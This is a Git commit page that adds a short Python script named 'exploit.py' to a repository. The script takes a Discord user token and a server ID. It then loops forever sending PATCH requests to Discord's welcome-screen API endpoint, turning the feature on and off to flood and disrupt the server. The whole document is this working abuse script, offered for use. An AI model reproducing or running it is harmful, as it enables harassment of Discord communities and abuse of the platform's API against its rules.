Merge pull request #2 from VoidLSD/master

Rewrote the exploit in Python
This commit is contained in:
Yaekith 2020-09-20 07:22:14 +08:00 committed by GitHub
commit 8f60336361
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

23
exploit.py Normal file

@ -0,0 +1,23 @@
import requests
token = input("Token: ")
guild = input("Guild: ")
url = f"https://discord.com/api/v8/guilds/{guild}/welcome-screen"
headers ={
"authorization": token,
"content-type": "application/json"
}
payloadtrue = {
"enabled": "true"
}
payloadfalse = {
"enabled": "false"
}
while True:
req = requests.patch(url, headers=headers, json=payloadtrue)
req = requests.patch(url, headers=headers, json=payloadfalse)
print("Request has been sent.")